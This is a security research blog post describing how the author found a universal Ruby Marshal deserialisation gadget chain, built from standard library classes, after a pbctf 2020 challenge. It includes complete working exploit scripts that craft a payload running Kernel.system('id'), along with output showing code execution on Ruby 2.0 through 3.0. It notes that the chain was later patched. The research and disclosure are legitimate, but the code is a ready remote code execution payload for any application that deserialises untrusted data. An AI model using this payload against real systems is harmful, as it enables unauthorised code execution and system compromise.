# Universal Deserialisation Gadget for Ruby 2.x-3.x

**Universal Deserialisation Gadget for Ruby 2.x-3.x** - Author not stated, devcraft.io.

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## Content

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*Update 2022-04*

This has been patched and so will only works for Ruby 3.0.2 and below:

- rubygems/rubygems#141c2f43
- ruby/ruby#2b17d2f2

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One of the challenges I wrote for pbctf 2020 involved exploiting deserialisation in a rails app to get code execution and retrieve the flag. The challenge was running with ruby 2.7.2 and rails 6.1, which meant that the existing public gadgets no longer worked and players had to discover a new one.

While researching, I came across a fantastic article published by elttam titled Ruby 2.x Universal RCE Deserialization Gadget Chain. It goes into great detail on how they came up with a universal gadget that did not require anything other than the default gems to be loaded, well worth a read if you haven't already.

Since the challenge was written using rails, there was a lot more gems and classes to choose from compared to just the defaults. There were a few great solutions to the challenge by players, the one I found combined the original `DeprecatedInstanceVariableProxy` gadget to call the `execute` method on ActiveModel::AttributeMethods::ClassMethods::CodeGenerator to achieve code execution.

After the ctf was over I decided to keep looking around to see if I could find another universal gadget, as the `Gem::StubSpecification` gadget used in the elttam article was patched in ruby 2.7+.

I started off trying to find a class to be used as a replacement for `Gem::StubSpecification`, something that allowed for code execution, eval, or the ability to call arbitrary methods. Using the same

`autoload` trick in the elttam article and lots of regex searches in RubyMine, I came across Net::WriteAdapter:

```
class WriteAdapter
  def initialize(socket, method)
    @socket = socket
    @method_id = method
  end

  def inspect
    "#<#{self.class} socket=#{@socket.inspect}>"
  end

  def write(str)
    @socket.__send__(@method_id, str)
  end

  alias print write

  def <<(str)
    write str
    self
  end

  def puts(str = '')
    write str.chomp("\n") + "\n"
  end

  def printf(*args)
    write sprintf(*args)
  end
end
```

It looked very promising as `@socket` and `@method_id` could both be set to anything, and if a way to call any of the methods `write`, `print`, `<<`, `puts` or `printf` could be found it would allow any method to be called on an object.

After many dead ends and a lot more searching I found Net::BufferedIO, which had the following `LOG` method:

```
  def read(len, dest = ''.b, ignore_eof = false)
    LOG "reading #{len} bytes..."
  #...

  def LOG(msg)
    return unless @debug_output
    @debug_output << msg + "\n"
  end

  def eof?
    @io.eof?
  end
```

This was called by both `read` and `readall`, so it could be chained to `Net::WriteAdapter` if a way to call `read` could be found.

I had also started looking for initial/kick-off gadgets, similar to the `Gem::Requirement` one that called `each` in the elttam article. One of the interesting ones found was Gem::Version which allowed calling `to_s` on any object (relevant code):

```
# we can fully control the objects in this array
def marshal_load(array)
  initialize array[0]
end

def initialize(version)
  # first thing is the version check
  unless self.class.correct?(version)
    raise ArgumentError, "Malformed version number string #{version}"
  end

  version = 0 if version.is_a?(String) && version =~ /\A\s*\Z/
  @version = version.to_s.strip.gsub("-",".pre.")
  @segments = nil
end

def self.correct?(version)
  unless Gem::Deprecate.skip
    warn "nil versions are discouraged and will be deprecated in Rubygems 4" if version.nil?
  end

  # here to_s is called on our object
  !!(version.to_s =~ ANCHORED_VERSION_PATTERN)
end
```

To find these methods, I slightly modified the existing `marshal_load` method check to quickly see what implemented a function:

```
def check(functions)
 ObjectSpace.each_object(::Class) do |obj|
  all_methods = (obj.instance_methods + obj.private_instance_methods).uniq

  functions.each do |function|
   if all_methods.include? function
    method_origin = obj.instance_method(function).inspect[/\((.*)\)/, 1] || obj.to_s
    unless method_origin.nil? || method_origin == ''
     puts obj
     puts "  #{function} defined by #{method_origin}"
     puts "  ancestors = #{obj.ancestors}"
     puts
    end
   end
  end
 end
end
```

This opened up more options for finding gadgets, as there are quite a few `to_s` methods implemented compared to `marshal_load`. A few examples that were found:

Gem::Resolver::ActivationRequest which would allow for `name`, `version`, or `platform` to be called on a controllable object:

```
class Gem::Resolver::ActivationRequest
 alias_method :to_s, :full_name

 def full_name
  name_tuple.full_name
 end

 def name_tuple
  @name_tuple ||= Gem::NameTuple.new(name, version, platform)
 end

 def name
  @spec.name
 end

 def version
  @spec.version
 end

 def platform
  @spec.platform
 end
```

OptionParser::ParseError which allowed `join` to be called, as well as the `[]` method with a controlled argument:

```
class ParseError < RuntimeError
  def initialize(*args, additional: nil)
    @additional = additional
    @arg0, = args
    @args = args
    @reason = nil
  end

  attr_reader :args
  attr_writer :reason
  attr_accessor :additional

  alias to_s message

  def message
    "#{reason}: #{args.join(' ')}#{additional[@arg0] if additional}"
  end

  def reason
    @reason || self.class::Reason
  end
```

I went back to the other end of the gadget chain and started looking for places that called `read` on an object, and eventually discovered Gem::Package::TarReader and Gem::Package::TarHeader:

```
class Gem::Package::TarReader
 def each
  return enum_for __method__ unless block_given?

  use_seek = @io.respond_to?(:seek)

  until @io.eof? do
   header = Gem::Package::TarHeader.from @io
   return if header.empty?
 # snip
 end
end

class Gem::Package::TarHeader
 def self.from(stream)
   header = stream.read 512
   empty = (EMPTY_HEADER == header)
 # snip
 end
end
```

Since there already was initial gadget to call `each` (thanks to elttam) it looked very promising, a chain such as `Gem::Requirement#marshal_load -> Gem::Package::TarReader#each -> Gem::Package::TarHeader#from -> Net::BufferedIO#read -> Net::BufferedIO#LOG -> Net::WriteAdapter#<<` could be created. This would allow for any method to be called, so long as it accepted a single parameter. Unfortunately, the content of the parameter was not controllable, but it was still a very powerful gadget.

For `TarHeader.from` to be called, a class that had a falsey `eof?` method was needed to pass the conditional. A suitable choice wasGem::Package::TarReader::Entry as the result of the `eof?` call was easily controllable:

```
class Gem::Package::TarReader::Entry
 ##
 # Is the tar entry closed?

 def closed?
  @closed
 end

 ##
 # Are we at the end of the tar entry?

 def eof?
  check_closed

  @read >= @header.size
 end

 def check_closed # :nodoc:
  raise IOError, "closed #{self.class}" if closed?
 end
```

All of this could now be put together, giving the ability to call arbitrary methods on an object:

```
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa = Net::WriteAdapter.new(Kernel, :vakzz)

io = Gem::Package::TarReader::Entry.allocate
io.instance_variable_set('@read', 0)
io.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', io)
n.instance_variable_set('@debug_output', wa)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
```

```
Traceback (most recent call last):
    13: from /Users/will/.rubies/ruby-2.7.2/bin/irb:23:in `<main>'
    12: from /Users/will/.rubies/ruby-2.7.2/bin/irb:23:in `load'
    11: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/gems/2.7.0/gems/irb-1.2.6/exe/irb:11:in `<top (required)>'
    10: from (irb):297
     9: from (irb):297:in `load'
     8: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/requirement.rb:207:in `marshal_load'
     7: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/requirement.rb:297:in `fix_syck_default_key_in_requ
     6: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/package/tar_reader.rb:61:in `each'
     5: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/rubygems/package/tar_header.rb:103:in `from'
     4: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
     3: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
     2: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
     1: from /Users/will/.rubies/ruby-2.7.2/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
NoMethodError (undefined method `vakzz' for Kernel:Module)
```

The issue was that the argument to the call was not controllable, but now nearly any class and method could be used in the gadget chain. In the original search for ways to call the `Net::WriteAdapter` methods, I had found quite a few that were discarded (due to being unlikely to have ways to call them) which could now be used. One of them was Gem::RequestSet#resolve:

```
def resolve(set = Gem::Resolver::BestSet.new)
  @sets << set
  @sets << @git_set
  # snip
end
```

This was perfect as `@sets` and `@git_set` were both fully controllable, and the argument `set` would be assigned the log message `reading 512 bytes...` from the gadget chain. Another `Net::WriteAdapter` gadget could be used for `@sets`, it would end up calling the method with the uncontrolled data first but then again with the controlled `@git_set`.

The final gadget could then be constructed to trigger a call to `Kernel.system("id")`:

```
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "id")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload.inspect
puts Marshal.load(payload)
```

```
sh: reading: command not found
uid=501(will) gid=20(staff) groups=20(staff),501(access_bpf),12(everyone),61(localaccounts),79(_appserverusr),80(admi
```

This gadget works for Ruby 2.x to 3.x and does not require anything other that the default classes to be loaded.

```
for i in `seq -f 2.%g 0 7; echo 3.0`; do echo -n "ruby:${i} - "; docker run --rm -it ruby:${i} ruby -e 'Marshal.load(["04085b0
```

```
ruby:2.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.1 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.2 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.3 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.4 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.5 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.6 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:2.7 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
ruby:3.0 - sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
```